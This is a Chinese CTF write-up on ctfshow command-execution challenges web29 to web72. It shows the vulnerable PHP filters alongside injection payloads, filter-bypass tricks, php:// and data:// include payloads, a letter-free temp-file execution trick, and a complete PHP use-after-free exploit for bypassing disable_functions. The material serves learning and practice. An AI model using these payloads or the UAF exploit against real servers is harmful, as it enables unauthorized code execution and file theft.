ctfshow-web入门-命令执行持续更新

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

常见命令执行函数

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • popen()
  • proc_open()
  • pcntl_exec()

知识点:和cat有相同作用的:tac、more、less、head、tail、nl、sed、sort、uniq、rev

  • tac:倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边
  • tail:tail命令是指定显示文件后若干行的内容
  • head: 显示前n行的内容
  • more:cat命令是整个文件的内容从上到下显示在屏幕上。 more会以一页一页的显示方便使用者逐页阅读
  • less:也是对文件或其它输出进行分页显示的工具
  • nl:nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号

web29

没什么限制因此 直接

?c=system('cat f*');

web30

知识点: system过滤

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这些是我构造的playload
利用echo

?c=echo `cat f*`;

或者利用拼接

?c=eval($_GET[1]);&1=system('cat flag.php');

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里过滤了许多下面是我构造的playload

  • 方法1 : system+cat+空格绕过
    echo代替system
    cat相同作用cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
    linux中空格可以由 %09(tab) ,<,<>,%20来代替
?c=echo`more%09f*`;
  • 方法2:利用拼接完成 1=后面的会被执行并且不会被过滤
?c=eval($_GET[1]);&1=system('cat falg.php');

web32-36

这题过滤多了 sort ,echo ; ` 等等
;分号可以用?>绕过
()括号可以用""双引号来绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我的playload
利用了php为协议
php://filter/read=convert.base64-encode.resource=文件名
最后回显会是base64 解码即可
同理也可以用post来进行

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web37-38

这题看到include想到了文件上传
那么应该用文件上传的方式来解决问题这里就需要用php伪协议

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里用php伪协议来构造playload

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
这段base64的意思是 <?php system("cat flag.php");?>因此还可以
?c=data://text/plain,<?php system("cat fla*");?> (这里发现38用不了 搞不懂什么原因求大神指导)

web39

这里比38就多了个.php后缀 php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

构造playload
不知道为啥不可以用base64编码请大神指教

?c=data://text/plain,<?php system('cat f*');?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==(为什么这个无法使用)

web40

这道题过滤了$ 还有引号
因此使用读取文件 访问数组的方式来得到flag

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file(): 将文件里面的内容输出
print_r():将内容输出

开始构造playload:

scandir(’.’)表示得到当前目录下的文件
pos(localeconv())=.
scandir(pos(localeconv()))=

在这里插入图片描述
发现了flag倒数第二个

prev() - 将内部指针指向数组中的上一个元素,并输出
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
next() 函数将内部指针指向数组中的下一个元素,并输出。

因此可以把数组反转array_reverse()找第二个用next(),输出文件内容用highlight_file()
最终playload:

因此可以把数组反转array_reverse()找第二个用next(),输出文件内容用highlight_file()

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41 不会做 请大佬指点

web 42

知识点:标准输出和错误输出都重定向到了/dev/null,相当于没有了输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令。

1 > /dev/null 语句含义:
1 > /dev/null : 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。

; //分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行

?c=cat flag.php;
?c=1|cat flag.php;
?c=cat flag.php||1;

web43

这道题过滤了cat 还有 分号;

  • cat可替换成ac、more、less、head、tail、nl、sed、sort、uniq、rev

;可以用%0a来进行替换

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

playload:

tac flag.php%0a
more flag.php%0a
head flag.php%0a
and so on

web44

过滤了 flag 用*绕过 其他和43一样

?c=tac%20f*.php%0a

web45

过滤了空格  用linux中空格可以由 %09(tab) , ${IFS},$IFS来代替
?c=tac%09f*.php%0a
?c=more${IFS}f*.php%0a

web 46

过滤了*号可以用问号来代替

?c=more%09fla?.php%0a

web47-49

比以前多过滤了|more|less|head|sort|tail

?c=tac%09f???.php%0a
?c=uniq%09f???.php%0a
?c=nl%09f???.php%0a

web50

多过滤了%和\x09这里就要用别的来代替空格 <或者<>
并且发现问号在这题也不好使了 请大佬指教是为什么

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

playload

?c=tac<>fla‘’g.php%0a
?c=nl<fla''g.php%0a
?c=uniq<fla''g.php%0a

web 51

多过滤了一个 tac

?c=uniq<fla''g.php%0a
?c=nl<fla''g.php%0a

web52-53

把< > 给过滤了 但是把$放出来了

?c=uniq${IFS}fla''g.php%0a
/?c=nl${IFS}fla''g.php%0a

web54

这题利用改写文件名字实现打开flag.php
mv命令是move的缩写,可以用来移动文件或者将文件改名(在linux下) 改的名字不可以有数字

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

playload

先用?c=ls看一下根目录
?c=mv${IFS}fla?.php${IFS}z.txt  更改名字
在ls看一下 flag.php变成了z.txt 
现在直接打开z.txt 就可以了

还有一种方法是利用通配符
lag.php 有7个字符
?c=uniq${IFS}f???????因此这个有7个问号 可以访问f开头的这个长度的文件

web55-56

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
空格被放出来了 但是字母没有 这个时候考虑经典的rce

php上传文件时会在执行脚本的过程中把文件放到1个临时上传文件的临时目录 因此选择上传文件
命名规则php5个小写一个大写字母

.在linux可以执行脚本
假设我们自定义一个脚本 就可以用.来执行脚本 由于我们没有执行脚本的地方 因此选择了一个文件上传

下面是上传代码 只需要把url改成需要自己的url就可以了

<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>POST数据包POC</title>
</head>
<body>
	<form action="http://5bec063f-50e0-4d2d-9610-92476951876a.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
		<label for="file">文件名:</label>
		<input type="file" name="file" id="file"><br>
		<input type="submit" name="submit" value="提交">
	</form>
</body>
</html>

随便上传一些文件 然后把文件里面的内容删除

构造请求表单:
因为临时目录是由 tmp/php5个小写字母一个大写字母 构成的 但是我们不知道目录的名字 因此 小写字母可以用通配符来替换 [@-[]是linux下面的匹配符,是进行匹配的大写字母

.在linux可以执行脚本
%20是空格
因此在post第一行哪里 需要构造成

POST /?c=.%20/???/????????[@-[] HTTP/1.1

在这里插入图片描述
在图片红色字体哪里修改成

#!/bin/sh或者#!/bin/bash    (加不加都可以)
ls   或者任意你想要执行的命令

在这里插入图片描述最后得到flag
参考p神无字母getshell.
解法2:(用于55)

?c=/bin/base64 flag.php
因为字母被过滤因此用通配符来替代
/?c=/???/????64%20????????

web57

题目看到了flag in 36.php 只需要构造出36就可以了

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。

可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
$(())=0
~$(())=-0
$((~$(())))=-1

构造36只需要将-37取反+1就可以了
playload

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))

or
$(( $((~$(())))   + $((~$(()))) ))也可以

web58-59

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post传参
首先要看他disable_functions里面都有什么

禁用了
c=phpinfo();
c=system();

用读取文件的方式打开

c=highlight_file('flag.php');
c=show_source('flag.php');
c=readfile('flag.php');(59不可以用)
c=echo file_get_contents('flag.php');(59不可以用)
c=print_r(file('flag.php'));

利用include
c=include($_GET[1]);   post命令行
?1=php://filter/convert.base64-encode/resource=flag.php   url

web60

c=highlight_file('flag.php');
c=show_source('flag.php');.

利用include
c=include($_GET[1]);   post命令行
?1=php://filter/convert.base64-encode/resource=flag.php   url

web61-65

可以考虑用 rename

1.利用include
c=include($_GET[1]);   post命令行
?1=php://filter/convert.base64-encode/resource=flag.php   url

2.函数输出
c=highlight_file('flag.php');
c=show_source('flag.php');

文件包含
3.骚东西
c=include('flag.php');echo $flag;
包含了flag.php 但是不输出  我们知道变量名是flag  输出flag就可以了

4.先把文件包含进去  把里面定义的所有变量输出
var_dump — 打印变量的相关信息
get_defined_vars — 返回由所有已定义变量所组成的数组
c=include('flag.php');var_dump(get_defined_vars());

web66-67

show_source()被禁了
highlight_file()可以执行 但是明显flag这次换了位置 现在就要看flag在哪里

. 表示当前目录
../上一级目录
/根目录
c=print_r(scandir('/'));
或者c=var_dump(scandir('/'));发现根目录有flag.txt
c=highlight_file('/flag.txt');  拿到flag

web68

highlight_file()被禁用了 说明68之前全部都可以用highlight_file()

c=var_dump(scandir('/'));
文件包含还可以使用  因为txt里没有php标签,那么作为一个html直接显示在页面了
c=include('/flag.txt');     或者
c=include('/flag.txt');echo $flag;

web69

print_r() var_dump()都被禁了
那么只可以用foreach遍历数组看有什么在目录

c=$a=scandir("/");foreach($a as $value){echo $value."   ";}
还是看到了flag.txt
c=include('/flag.txt');

web70

glob() 函数返回匹配指定模式的文件名或目录。
/* 代表 根目录下面全部文件

遍历文件
c=$a=glob('/*');foreach($a as $value){echo $value."  ";}
看到flag.txt
c=include('/flag.txt');

web71

index 文件

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?
解释:
eval($c) 执行代码
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean();    清空缓冲区内容
preg_replace("/[0-9]|[a-z]/i","?",$s);    把里面的$s中的/[0-9]|[a-z]替换成?没有输出

思路:在执行文件后提前结束
exit();输出一条消息,并退出当前脚本:
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
playload:

c=$a=glob('/*');foreach($a as $value){echo $value."  ";}exit();  看根目录
c=include('/flag.txt');exit();
or
c=$a=glob('/*');foreach($a as $value){echo $value."  ";}die();  看根目录
c=include('/flag.txt');die();

web72

使用c=var_dump(scandir('/'));exit();发现了open_basedir()这里就需要把open_basedir()绕过

参考这文章php绕过open_basedir限制操作.
查看根目录有什么文件

脚本1
c=  $a = "glob:*.txt";if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo "filename:".$file."\n";}closedir($b);}die();
脚本2
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();

发现了flag改了名字教flag0.php 现在要做的操作是打开flag0.php
利用一个绕过安全目录的脚本 来进行绕过 把脚本的内容复制到post里面进行url编码

以下是绕过安全目录脚本

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

在这里插入图片描述
url编码后不需要加exit()直接执行就可以看到flag了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值